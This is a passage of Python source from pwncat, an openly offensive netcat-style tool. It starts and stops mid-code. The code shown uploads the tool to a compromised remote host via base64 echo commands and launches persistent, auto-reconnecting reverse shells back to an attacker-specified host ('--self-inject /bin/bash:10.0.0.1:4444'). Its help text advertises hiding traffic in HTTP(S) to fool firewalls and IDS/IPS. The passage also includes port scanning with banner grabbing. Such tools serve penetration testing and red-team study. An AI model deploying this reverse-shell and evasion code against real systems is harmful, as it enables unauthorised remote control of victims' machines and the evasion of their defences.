self.__recv_timeout = time_diff.total_seconds() / 2 self.__log.trace( # type: ignore "Timeout: Previous recv timeout: %f sec -> new recv timeout: %f sec", prev_recv_timeout, self.__recv_timeout, ) # Add response if response: responses.append(response) # Reset the start time and round time_start = datetime.now() curr_round = 0 # Return if already empty if not responses: return responses # Response could be in one of the below listed formats: # 1. response could be one line per element # 2. reposnse could be multiple lines per element # 3. response cloud be single characters per element # But we want to make sure that we always get one line per element, # so we normalize it # First: Join lines which do not have line endings self.__log.debug("Normalize recv before (1): %s", repr(responses)) normalized = [] has_eol = True for line in responses: if has_eol: normalized.append(line) else: normalized[-1] = normalized[-1] + line # Determine what to do next iteration if line.endswith(b"\r\n"): has_eol = True elif line.endswith(b"\n"): has_eol = True elif line.endswith(b"\r"): has_eol = True else: has_eol = False responses = normalized self.__log.debug("Normalize recv after (1): %s", repr(responses)) # Second: Separate lines which have line endings self.__log.debug("Normalize recv before (2): %s", repr(responses)) normalized = [] for line in responses: line = line.rstrip(b"\r\n") line = line.rstrip(b"\n") line = line.rstrip(b"\r") line = line.lstrip(b"\r\n") line = line.lstrip(b"\n") line = line.lstrip(b"\r") if b"\r\n" in line: for newline in line.split(b"\r\n"): normalized.append(newline) elif b"\n" in line: for newline in line.split(b"\n"): normalized.append(newline) elif b"\r" in line: for newline in line.split(b"\r"): normalized.append(newline) else: normalized.append(line) responses = normalized self.__log.debug("Normalize recv after (2): %s", repr(responses)) # [3/4] Remove remote ends suffix (if it sends something like it) # We iterate reversed of responses and check if the new line suffix(es) # are present at the end. # This is because the suffix(es) is always received last. if self.__remote_suffix and strip_suffix: # If multiple suffix lines are send we will first strip x-1 suffix lines if len(self.__remote_suffix) > 1: lines_to_strip = len(self.__remote_suffix) - 1 self.__log.debug("Remove suffix before (1): %s", repr(responses)) responses = responses[:-lines_to_strip] self.__log.debug("Remove suffix after (1): %s", repr(responses)) # Return if already empty if not responses: return responses # Clean up the last response line with first suffix line self.__log.debug("Remove suffix before (2): %s", repr(responses)) responses[-1] = responses[-1].rstrip(self.__remote_suffix[0]) self.__log.debug("Remove suffix after (2): %s", repr(responses)) # Ensure empty elements are removed self.__log.debug("Remove suffix before (3): %s", repr(responses)) responses = [item for item in responses if item] self.__log.debug("Remove suffix after (3): %s", repr(responses)) # [4/4] Some server also echo back what we've send, so if we did send something # we need to strip this off as well if data is not None and strip_echo: for idx, item in enumerate(responses): if data in responses[idx]: del responses[idx] elif data.rstrip() in responses[idx]: del responses[idx] # Ensure empty elements are removed responses = [item for item in responses if item] # Return list of respones return responses # -------------------------------------------------------------------------- # High-level Functions # -------------------------------------------------------------------------- def remote_command(self, command, output): # type: (str, bool) -> Optional[List[bytes]] """Run remote command with correct linefeeds and receive response lines. Args: command (str): The command to execute on the remote end. output (bool): Receive output from command? """ command = command.rstrip("\r\n") command = command.rstrip("\r") command = command.rstrip("\n") command = command + "\n" if output: return self.send_recv(StringEncoder.encode(command), True, True) self.send(StringEncoder.encode(command)) return None def create_remote_tmpfile(self): # type: () -> Optional[str] """OS-independent remote tempfile creation. Returns: str or None: Returns path on success or None on error. """ self.flush_receive() self.print_info("Creating tmpfile:", False, True) command = [] command.append("{} -c '".format(self.__remote_python)) command.append("import tempfile;") command.append("h,f=tempfile.mkstemp();") if self.__remote_py3: command.append("print(f);") else: command.append("print f;") command.append("'") response = self.remote_command("".join(command), True) # All good if response is not None and len(response) == 1: tmpfile = StringEncoder.decode(response[0]).rstrip() self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) return tmpfile # Something went wrong with stripping prefix from server, we need to manually # check if creation was successful. if response is not None and len(response) > 1: # A bit fuzzy, but we try a few times for _ in range(5): self.print_info("Creating tmpfile: Unsure - checking otherwise", True, True) for candidate in response: tmpfile = StringEncoder.decode(candidate).rstrip() if self.remote_file_exists(tmpfile): self.print_info("Creating tmpfile: {}".format(repr(tmpfile)), True, True) return tmpfile self.print_info("Creating tmpfile: Failed", True, True) self.print_info("Response: {}".format(repr(response))) return None def remote_file_exists(self, remote_path): # type: (str) -> bool """Ensure given remote path exists as a file on remote end. Args: remote_path (str): Path of file to check. Returns: bool: Returns `True` on success and `False` on failure. """ self.flush_receive() # String should be short as an unstable remote might send small chunks unique_string = "_pwncat_" response = self.remote_command( 'test -f "{}" && echo "{}"'.format(remote_path, unique_string), True ) if response is not None: for candidate in response: if StringEncoder.decode(candidate) == unique_string: return True if StringEncoder.decode(candidate).rstrip() == unique_string: return True response = self.flush_receive() if response is not None: for candidate in response: if StringEncoder.decode(candidate).rstrip() == unique_string: return True if StringEncoder.decode(candidate).rstrip() == unique_string: return True return False def upload(self, lpath, rpath): # type: (str, str) -> bool """OS-independent upload of a local file to a remote path. Args: lpath (str): Local path of the file. rpath (str): Remote path, where to upload the base64 encoded file. Returns: bool: Returns `True` on success and `False` on failure. """ assert self.__remote_python is not None assert self.__remote_py3 is not None rpath_b64 = self.create_remote_tmpfile() self.flush_receive() if rpath_b64 is None: return False if not self.__upload_file_base_64_encoded(lpath, rpath_b64, True): return False if not self.__remote_base64_decode(rpath_b64, rpath): return False return True # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- def __set_remote_prefix(self): # type: () -> None """Determines if the remote always sends a specific prefix with its other data.""" self.__remote_prefix = [] self.__remote_suffix = [] has_suffix = False self.print_info("Checking if remote sends prefix/suffix to every request...") response = self.send_recv(b'echo "__pwn__"\n') expected = b"__pwn__" if response: for line in response: # If the line begins with our expected response, all data after that # is a suffix that the server might be sending. if re.match(expected, line): has_suffix = True # If bytes are still left after our response, add it if line.replace(expected, b"", 1): self.__remote_suffix.append(line.replace(expected, b"", 1)) continue if has_suffix: self.__remote_suffix.append(line) # Ensure empty elements are removed self.__log.debug("Set suffix before: %s", repr(self.__remote_suffix)) self.__remote_suffix = [item for item in self.__remote_suffix if item] self.__log.debug("Set suffix after: %s", repr(self.__remote_suffix)) if self.__remote_prefix: self.print_info("Remote prefix ({} lines):".format(len(self.__remote_prefix))) for line in self.__remote_prefix: self.print_raw(repr(line).encode(), True) else: self.print_info("Remote does not send prefix") if self.__remote_suffix: self.print_info("Remote suffix ({} lines):".format(len(self.__remote_suffix))) for line in self.__remote_suffix: self.print_raw(repr(line).encode(), True) else: self.print_info("Remote does not send suffix") def __get_remote_python_version(self, path): # type: (str) -> Optional[str] """Get remote Python version by path. Args: path (str): Path to potential python binary. Returns: Optional[str]: Python version string or None if not found. """ command = [] command.append("{} -c '".format(path)) command.append("from __future__ import print_function;") command.append("import sys;") command.append("v=sys.version_info;") command.append('print("{}.{}.{}".format(v[0], v[1], v[2]));\'') response = self.remote_command("".join(command), True) if response is not None and response: for line in response: match = re.search(b"^([.0-9]+)", line) # Potential version candidate if match: version = StringEncoder.decode(match.group(1)) if version[0] in ["2", "3"]: return version return None def __set_remote_python_path(self): # type: () -> bool """Enumerate remote Python binary. Returns: bool: Returns `True` on success and `False` on failure. """ # TODO: Make windows compatible # [1/2] 'which' method for name in self.__PYTHON_NAMES: self.print_info("Probing for: which {}".format(name)) response = self.remote_command("which {} 2>/dev/null".format(name), True) if response is not None and response: for line in response: path = StringEncoder.decode(line) self.print_info("Potential path: {}".format(path)) version = self.__get_remote_python_version(path) if version is None: continue if version[0] == "2": self.__remote_py3 = False if version[0] == "3": self.__remote_py3 = True self.print_info("Found valid Python{} version: {}".format(version[0], version)) self.__remote_python = path return True # TODO: Make windows compatible # [2/2] Absolute path method for path in self.__PYTHON_PATHS: for name in self.__PYTHON_NAMES: python = path + "/" + name self.print_info("Probing for: {}".format(python)) rpath_lines = self.remote_command( "test -f {p} && echo {p} || echo".format(p=python), True ) if rpath_lines is not None and rpath_lines: # Reset current round path_found = False # We expect a length of one, but we handle errors as well. for rpath_line in rpath_lines: if StringEncoder.decode(rpath_line).rstrip() == python: path_found = True break if not path_found: continue # Potential python candidate self.print_info("Potential path: {}".format(python)) version = self.__get_remote_python_version(python) if version is None: continue if version[0] == "2": self.__remote_py3 = False if version[0] == "3": self.__remote_py3 = True self.print_info("Found valid Python{} version: {}".format(version[0], version)) self.__remote_python = python return True return False def __upload_file_base_64_encoded(self, lpath, rpath, at_once=False): # type: (str, str, bool) -> bool """Upload a local file to a base64 encoded remote file. Args: lpath (str): Local path of the file. rpath (str): Remote path, where to upload the base64 encoded file. at_once (bool): Send all data at once. Returns: bool: Returns `True` on success and `False` on failure. """ first = True data = [] # type: List[str] with open(lpath, "r") as fhandle: lines = fhandle.readlines() count = len(lines) curr = 1 for line in lines: if not at_once: self.print_info( "Uploading: {} -> {} ({}/{})".format(lpath, rpath, curr, count), False, True ) b64 = StringEncoder.decode(base64.b64encode(StringEncoder.encode(line))) if first: if at_once: data.append('echo "{}" > "{}"'.format(b64, rpath)) else: self.remote_command('echo "{}" > "{}"'.format(b64, rpath), False) first = False else: if at_once: data.append('echo "{}" >> "{}"'.format(b64, rpath)) else: self.remote_command('echo "{}" >> "{}"'.format(b64, rpath), False) curr += 1 if at_once: self.print_info("Uploading: {} -> {} ({}/{})".format(lpath, rpath, 1, 1)) self.remote_command("\n".join(data), False) else: self.print_info() # TODO: md5 check if this is legit return True def __remote_base64_decode(self, rpath_source, rpath_target): # type: (str, str) -> bool """Decode a remote base64 encoded file with pure Python. Args: rpath_source (str): The remote path to the existing base64 encoded file. rpath_target (str): The remote path to the desired base64 decoded file. Returns: bool: Returns `True` on success or `False` on failure. """ self.flush_receive() command = [] command.append("{} -c 'import base64;".format(self.__remote_python)) command.append('f=open("{}", "r");'.format(rpath_source)) command.append("lines = f.readlines();") if self.__remote_py3: command.append( 'print((b"".join([base64.b64decode(l.encode()) for l in lines])).decode());\'' ) else: command.append('print "".join([base64.b64decode(l) for l in lines]);\'') command.append('> "{}"'.format(rpath_target)) self.print_info("Decoding: {} -> {}".format(rpath_source, rpath_target)) self.remote_command("".join(command), False) # TODO: validate via md5 return True # ------------------------------------------------------------------------------------------------- # [9/11 Command & Control]: (3/3) CNCAutoDeploy # ------------------------------------------------------------------------------------------------- class CNCAutoDeploy(CNC): """Command&Control pwncat auto deployment class.""" def __init__( self, network, # type: IONetwork cmd, # type: str host, # type: str ports, # type: List[int] ): # type: (...) -> None try: super(CNCAutoDeploy, self).__init__(network) except CNCPythonNotFound: return local_path = os.path.abspath(__file__) remote_path = self.create_remote_tmpfile() remote_stdout = self.create_remote_tmpfile() remote_stderr = self.create_remote_tmpfile() if remote_path is None: self.print_info("Unable to create tmpfile. Aborting and handing over to current shell.") return if not self.upload(local_path, remote_path): self.print_info("Unable to upload file. Aborting and handing over to current shell.") return self.__start_pwncat(remote_path, cmd, host, ports, remote_stdout, remote_stderr) # We need to wait some time for slow severs self.print_info("Waiting for socket") time.sleep(2) self.flush_receive() self.print_info("Done. Handing over to current shell.") return def __start_pwncat(self, remote_path, binary, host, ports, stdout, stderr): # type: (str, str, str, List[int], Optional[str], Optional[str]) -> None for port in ports: command = [] command.append("nohup") command.append(self.remote_python) command.append(remote_path) command.append(host) command.append(str(port)) command.append("--exec {}".format(binary)) command.append("--reconn") command.append("--reconn-wait 1") if stdout is not None and stderr is not None: command.append("> {}".format(stdout)) command.append("2> {}".format(stderr)) elif stdout is not None: command.append("> {} 2>&1".format(stdout)) elif stderr is not None: command.append("> {} 2>&1".format(stderr)) command.append("&") data = " ".join(command) print("Starting pwncat rev shell: {}".format(data)) self.remote_command(data, False) # ################################################################################################# # ################################################################################################# # ### # ### 10 / 11 C O M M A N D L I N E A R G U M E N T S # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [19/11 COMMAND LINE ARGUMENTS]: (1/2) Helper Functions # ------------------------------------------------------------------------------------------------- def get_version(): # type: () -> str """Return version information.""" return """%(prog)s: Version %(version)s (%(url)s) by %(author)s""" % ( {"prog": APPNAME, "version": VERSION, "url": APPREPO, "author": "cytopia"} ) class ArgValidator(object): """Validate command line arguments.""" # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- @staticmethod def __get_port_list_by_comma(value): # type: (str) -> List[int] """Returns a list of ports from a comma separated string or empty list if invalid.""" ports = [] match = re.search(r"^[0-9]+(,([0-9]+))*$", value) if match is not None: ports = [int(port) for port in match.group(0).split(",")] for port in ports: if not ArgValidator.is_valid_port(port): return [] return ports @staticmethod def __get_port_list_by_range(value): # type: (str) -> List[int] """Returns a list of ports from a range string or empty list if invalid.""" ports = [] # type: List[int] match = re.search(r"^[0-9]+\-[0-9]+$", value) if match is not None: ranges = [int(r) for r in match.group(0).split("-")] ports = list(range(ranges[0], ranges[1] + 1)) for port in ports: if not ArgValidator.is_valid_port(port): return [] return ports @staticmethod def __get_port_list_by_incr(value): # type: (str) -> List[int] """Returns a list of ports from an increment or empty list if invalid.""" ports = [] # type: List[int] match = re.search(r"^[0-9]+\+[0-9]+$", value) if match is not None: ranges = [int(r) for r in match.group(0).split("+")] ports = list(range(ranges[0], ranges[0] + ranges[1] + 1)) for port in ports: if not ArgValidator.is_valid_port(port): return [] return ports # -------------------------------------------------------------------------- # Helper Functions # -------------------------------------------------------------------------- @staticmethod def is_valid_port(value): # type: (int) -> bool """Returns True if a given value is a valid port.""" return 0 < value < 65536 @staticmethod def is_valid_port_list(value): # type: (str) -> bool """Returns True if a given value is a valid port list by comma or range.""" cports = ArgValidator.__get_port_list_by_comma(value) rports = ArgValidator.__get_port_list_by_range(value) iports = ArgValidator.__get_port_list_by_incr(value) # XOR - only one method (comma, range or increment) is allowed if cports and not rports and not iports: return True if rports and not cports and not iports: return True if iports and not cports and not rports: return True return False @staticmethod def get_port_list_from_string(value): # type: (str) -> List[int] """Returns a list of ports from an comma, range or increment.""" cports = ArgValidator.__get_port_list_by_comma(value) rports = ArgValidator.__get_port_list_by_range(value) iports = ArgValidator.__get_port_list_by_incr(value) return cports + rports + iports # -------------------------------------------------------------------------- # Generic Type Functions # -------------------------------------------------------------------------- @staticmethod def type_port(value): # type: (str) -> int """Check argument for valid port.""" if not ArgValidator.is_valid_port(int(value)): raise argparse.ArgumentTypeError("%s is an invalid port number." % value) return int(value) @staticmethod def type_port_list(value): # type: (str) -> List[int] """Check argument for valid port list separated by comma or range number.""" rports = ArgValidator.__get_port_list_by_range(value) cports = ArgValidator.__get_port_list_by_comma(value) iports = ArgValidator.__get_port_list_by_incr(value) # Only use comma, range or increment! if (rports and cports) or (rports and iports) or (cports and iports): raise argparse.ArgumentTypeError( "%s is invalid. Can only use comma, range or increment." % value ) if not rports and not cports and not iports: raise argparse.ArgumentTypeError("%s is an invalid port-list/range definition." % value) # Return whichever has a value return rports + cports + iports @staticmethod def type_file_content(value): # type: (str) -> str """Check argument for valid file content (file must exist and be readable).""" if not os.path.isfile(value): raise argparse.ArgumentTypeError("File not found: %s" % value) with open(value, mode="r") as fhandle: script = fhandle.read() return script # -------------------------------------------------------------------------- # Specific Type Functions # -------------------------------------------------------------------------- @staticmethod def type_tos(value): # type: (str) -> str """Check argument for valid --tos value.""" if value not in ["mincost", "lowcost", "reliability", "throughput", "lowdelay"]: raise argparse.ArgumentTypeError("%s is an invalid tos definition." % value) return value @staticmethod def type_info(value): # type: (str) -> str """Check argument for valid --info value.""" if value not in ["sock", "ipv4", "ipv6", "tcp", "all", ""]: raise argparse.ArgumentTypeError("%s is an invalid info definition." % value) return value @staticmethod def type_crlf(value): # type: (Optional[str]) -> Optional[str] """Check argument for valid --crlf value.""" if value is None: return None if value.lower() in ["crlf", "lf", "cr", "no"]: return value.lower() raise argparse.ArgumentTypeError("'%s' is an invalid choice." % value) @staticmethod def type_color(value): # type: (str) -> str """Check argument for valid --color value.""" if value not in ["auto", "always", "never"]: raise argparse.ArgumentTypeError("%s is an invalid color definition." % value) return value @staticmethod def type_local(value): # type: (str) -> str """Check argument for valid -L/--local value.""" match = re.search(r"^(.+:)?([0-9]+)$", value) if match is None or len(match.groups()) != 2: raise argparse.ArgumentTypeError("%s is not a valid '[addr:]port' format." % value) if not ArgValidator.is_valid_port(int(match.group(2))): raise argparse.ArgumentTypeError("%s is not a valid port." % value) if match.group(1) is None: return ":" + match.group(2) return value @staticmethod def type_remote(value): # type: (str) -> str """Check argument for valid -R/--remote value.""" match = re.search(r"(.+):(.+)", value) if match is None or len(match.groups()) != 2: raise argparse.ArgumentTypeError("%s is not a valid 'addr:port' format." % value) if not ArgValidator.is_valid_port(int(match.group(2))): raise argparse.ArgumentTypeError("%s is not a valid port." % value) return value @staticmethod def type_self_inject(value): # type: (str) -> str """Check argument for valid --self-inject value.""" opts = value.split(":") if len(opts) != 3: raise argparse.ArgumentTypeError("%s is not a valid cmd:host:port[s] pattern." % value) if not ArgValidator.is_valid_port_list(opts[-1]): raise argparse.ArgumentTypeError("%s is an invalid port definition." % value) return value def _args_check_mutually_exclusive(parser, args): # type: (argparse.ArgumentParser, argparse.Namespace) -> None """Check mutually exclusive arguments.""" # This is connect mode connect_mode = not args.listen and not args.zero and not args.local and not args.remote # [MODE] --listen if args.listen and (args.zero or args.local or args.remote): parser.print_usage() print( "%s: error: -l/--listen mutually excl. with -z/-zero, -L or -R" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [MODE] --zero if args.zero and (args.listen or args.local or args.remote): parser.print_usage() print( "%s: error: -z/--zero mutually excl. with -l/--listen, -L or -R" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [MODE]--local if args.local and (args.listen or args.zero or args.remote): parser.print_usage() print( "%s: error: -L/--local mutually excl. with -l/--listen, -z/--zero or -R" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [MODE] --remote if args.remote and (args.listen or args.zero or args.local): parser.print_usage() print( "%s: error: -R/--remote mutually excl. with -l/--listen, -z/--zero or -L" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [MODULE] --exec if args.cmd and (args.local or args.remote or args.zero): parser.print_usage() print( "%s: error: -e/--exec mutually excl. with -L, -R or -z/--zero" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [OPTIONS] -4 and -6 if args.ipv4 and args.ipv6: parser.print_usage() print( "%s: error: -4 and -6 are mutually exclusive" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [OPTIONS] --source-addr/--source-port if not connect_mode and (args.source_port or args.source_addr): print( "%s: error: --source-addr and --source-port can only be used in connect mode." % (APPNAME), file=sys.stderr, ) sys.exit(1) # [OPTIONS] --source-addr/--source-port if (args.source_port and not args.source_addr) or (not args.source_port and args.source_addr): print( "%s: error: --source-addr and --source-port are both required." % (APPNAME), file=sys.stderr, ) sys.exit(1) # [ADVANCED] --http if args.http and (args.https or args.udp or args.zero): parser.print_usage() print( "%s: error: --http mutually excl. with --https, -u/--udp or -z/--zero" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [ADVANCED] --https if args.https and (args.http or args.udp or args.zero): parser.print_usage() print( "%s: error: --https mutually excl. with --http, -z/--udp or -z/--zero" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [ADVANCED] --keep-open if args.keep_open and (args.udp): parser.print_usage() print( "%s: error: --keep-open mutually excl. with -u/--udp" % (APPNAME), file=sys.stderr, ) sys.exit(1) if args.keep_open and not args.listen: parser.print_usage() print( "%s: error: --keep-open only works with -l/--listen" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [ADVANCED] --reconn if args.reconn != 0 and not connect_mode: parser.print_usage() print( "%s: error: --reconn only works in connect mode" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [ADVANCED] --ping-init if args.ping_init is not False and (args.listen or args.local): parser.print_usage() print( "%s: error: --ping-init mutually excl. with -l/--listen or -L/--local" % (APPNAME), file=sys.stderr, ) sys.exit(1) # [ADVANCED] --udp-sconnect if args.udp_sconnect and not connect_mode: parser.print_usage() print( "%s: error: --udp-sconnect only works in connect mode" % (APPNAME), file=sys.stderr, ) sys.exit(1) # ------------------------------------------------------------------------------------------------- # [10/11 COMMAND LINE ARGUMENTS]: (2/2) Argument Parser # ------------------------------------------------------------------------------------------------- def get_args(): # type: () -> argparse.Namespace """Retrieve command line arguments.""" parser = argparse.ArgumentParser( formatter_class=argparse.RawTextHelpFormatter, add_help=False, usage="""%(prog)s [options] hostname port %(prog)s [options] -l [hostname] port %(prog)s [options] -z hostname port %(prog)s [options] -L [addr:]port hostname port %(prog)s [options] -R addr:port hostname port %(prog)s -V, --version %(prog)s -h, --help """ % ({"prog": APPNAME}), description=""" Enhanced and comptaible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems. If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect.""", ) positional = parser.add_argument_group("positional arguments") mode = parser.add_argument_group("mode arguments") optional = parser.add_argument_group("optional arguments") protocol = parser.add_argument_group("protocol arguments") cnc = parser.add_argument_group("command & control arguments") pse = parser.add_argument_group("pwncat scripting engine") zero = parser.add_argument_group("zero-i/o mode arguments") lmode = parser.add_argument_group("listen mode arguments") cmode = parser.add_argument_group("connect mode arguments") misc = parser.add_argument_group("misc arguments") # -------------------------------------------------------------------------- # Positional arguments # -------------------------------------------------------------------------- positional.add_argument( "hostname", nargs="?", type=str, help="""Address to listen, forward, scan or connect to. """, ) positional.add_argument( "port", type=ArgValidator.type_port_list, help="""[All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444-4446 Via incr: 4444+2 """, ) # -------------------------------------------------------------------------- # Mode arguments # -------------------------------------------------------------------------- mode.add_argument( "-l", "--listen", action="store_true", default=False, help="""[Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See -k/--keep-open to change this behaviour. """, ) mode.add_argument( "-z", "--zero", action="store_true", default=False, help="""[Zero-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See --banner for version detection. """, ) mode.add_argument( "-L", "--local", metavar="[addr:]port", type=ArgValidator.type_local, default=False, help="""[Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by --local [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address) """, ) mode.add_argument( "-R", "--remote", metavar="addr:port", type=ArgValidator.type_remote, default=False, help="""[Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started some- where. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by -R/--remote addr:port and the connection to the target machine via the positional arguments. """, ) # -------------------------------------------------------------------------- # Optional arguments # -------------------------------------------------------------------------- optional.add_argument( "-e", "--exec", metavar="cmd", type=str, default=False, dest="cmd", help="""Execute shell command. Only for connect or listen mode. """, ) # TODO: add --crlf-i and --crlf-o to only do this on input or output and have # --crlf to always do it on input and output! optional.add_argument( "-C", "--crlf", metavar="lf", type=ArgValidator.type_crlf, default=None, help="""Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify 'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS). """, ) optional.add_argument( "-n", "--nodns", action="store_true", default=False, help="""Do not resolve DNS. """, ) optional.add_argument( "--send-on-eof", action="store_true", default=False, help="""Buffer data received on stdin until EOF and send everything in one chunk. """, ) optional.add_argument( "--no-shutdown", action="store_true", default=False, help="""Do not shutdown into half-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward-compatibility with OpenBSD netcat, which exhibits this behavior. """, ) optional.add_argument( "-v", "--verbose", action="count", default=0, help="""Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times. """, ) optional.add_argument( "--info", metavar="type", type=ArgValidator.type_info, default=None, help="""Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (-vv). """, ) optional.add_argument( "-c", "--color", metavar="str", type=ArgValidator.type_color, default="auto", help="""Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto) """, ) optional.add_argument( "--safe-word", metavar="str", type=str, default=None, help="""All modes: If %(prog)s is started with this argument, it will shut down as soon as it receives the specified string. The --keep-open (server) or --reconn (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input. """ % ({"prog": APPNAME}), ) # -------------------------------------------------------------------------- # Protocol arguments # -------------------------------------------------------------------------- protocol.add_argument( "-4", dest="ipv4", action="store_true", default=False, help="""Only Use IPv4 (default: IPv4 and IPv6 dualstack). """, ) protocol.add_argument( "-6", action="store_true", default=False, dest="ipv6", help="""Only Use IPv6 (default: IPv4 and IPv6 dualstack). """, ) protocol.add_argument( "-u", "--udp", action="store_true", default=False, help="""Use UDP for the connection instead of TCP. """, ) protocol.add_argument( "-T", "--tos", metavar="str", type=ArgValidator.type_tos, default=None, help="""Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', 'reliability', 'throughput' or 'lowdelay'. """, ) protocol.add_argument( "--http", action="store_true", default=False, help="""Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS. """, ) protocol.add_argument( "--https", action="store_true", default=False, help="""Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS. """, ) protocol.add_argument( "-H", "--header", metavar="str", nargs="*", default=[], help="""Add HTTP headers to your request when using --http(s).""", ) # -------------------------------------------------------------------------- # Command & Control arguments # -------------------------------------------------------------------------- cnc.add_argument( "--self-inject", metavar="cmd:host:port[s]", type=ArgValidator.type_self_inject, default=None, help="""Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '--self-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446 Via range: --self-inject /bin/sh:10.0.0.1:4444-4446 Via incr: --self-inject /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet. """, ) # -------------------------------------------------------------------------- # PSE arguments # -------------------------------------------------------------------------- pse.add_argument( "--script-send", metavar="file", type=ArgValidator.type_file_content, default=None, help="""All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec(). """, ) pse.add_argument( "--script-recv", metavar="file", type=ArgValidator.type_file_content, default=None, help="""All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec(). """, ) # -------------------------------------------------------------------------- # Zero-I/O mode arguments # -------------------------------------------------------------------------- zero.add_argument( "--banner", action="store_true", default=False, help="""Zero-I/O (TCP and UDP): Try banner grabbing during port scan. """, ) # -------------------------------------------------------------------------- # Listen mode arguments # -------------------------------------------------------------------------- lmode.add_argument( "-k", "--keep-open", action="store_true", default=False, help="""Listen mode (TCP only): Re-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone) """, ) lmode.add_argument( "--rebind", metavar="x", nargs="?", type=int, default=0, help="""Listen mode (TCP and UDP): If the server is unable to bind, it will re-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See --rebind-robin for an interesting use-case. (default: fail after first unsuccessful try). """, ) lmode.add_argument( "--rebind-wait", metavar="s", type=float, default=1.0, help="""Listen mode (TCP and UDP): Wait x seconds between re-initialization. (default: 1) """, ) lmode.add_argument( "--rebind-robin", metavar="port", type=ArgValidator.type_port_list, default=[], help="""Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and --rebind is specified, it it will shuffle ports in round-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --rebind to at least the number of ports to probe +1 This option requires --rebind to be specified. """, ) # -------------------------------------------------------------------------- # Connect mode arguments # -------------------------------------------------------------------------- cmode.add_argument( "--source-addr", metavar="addr", type=str, default=None, dest="source_addr", help="""Specify source bind IP address for connect mode. """, ) cmode.add_argument( "--source-port", metavar="port", type=ArgValidator.type_port, default=None, dest="source_port", help="""Specify source bind port for connect mode. """, ) cmode.add_argument( "--reconn", metavar="x", nargs="?", type=int, default=0, help="""Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using --udp-sconnect with this option to make UDP aware of a successful connection. """, ) cmode.add_argument( "--reconn-wait", metavar="s", type=float, default=1.0, help="""Connect mode (TCP and UDP): Wait x seconds between re-connects. (default: 1) """, ) cmode.add_argument( 